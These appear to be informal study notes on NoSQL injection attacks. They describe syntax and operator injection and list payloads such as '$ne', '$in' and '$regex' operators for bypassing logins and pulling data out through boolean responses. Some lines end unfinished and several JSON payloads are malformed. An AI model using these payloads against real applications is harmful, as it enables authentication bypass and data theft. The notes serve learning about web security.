other type of db, non relational database. known as NoSQL. Attacks are possible here to and is known as NoSQLi. If attacks is successful then:

NoSQL is made to handle large volumes of data, unstructured or semi-structured data. And they have fewer relational constraints and consistency checks than SQL.

Wide variety of NoSQL databases, so find model framework and language. Some common types:

2 Types of NoSQLi

NoSQL Syntax Injection:

If Boolean Conditions have been identified then inject JavaScript condition that always evaluates to true, such as '||1||'

NoSQL Operator Injection:

eg:

{"username":{"$ne":"invalid"}}

username[$ne]=invalid

{"username":{"$in":["admin","administrator","superadmin"]}

"password":{"$ne":""}}

{"username":{"$regex":"admin.*"}

pass[$ne]=""

{username: {$ne "fu"}, password: {$ne "bar"}}

user[$ne]=fu&pass[$ne]=bar

Info can be extracted from this kind of NoSQLi. a NoSQL is present and attacker can start by reconning and trying to see if it gives different response on different conditions. passing conditional statements and seeing if responds differently or not. and with that we can exfiltrate data accordingly.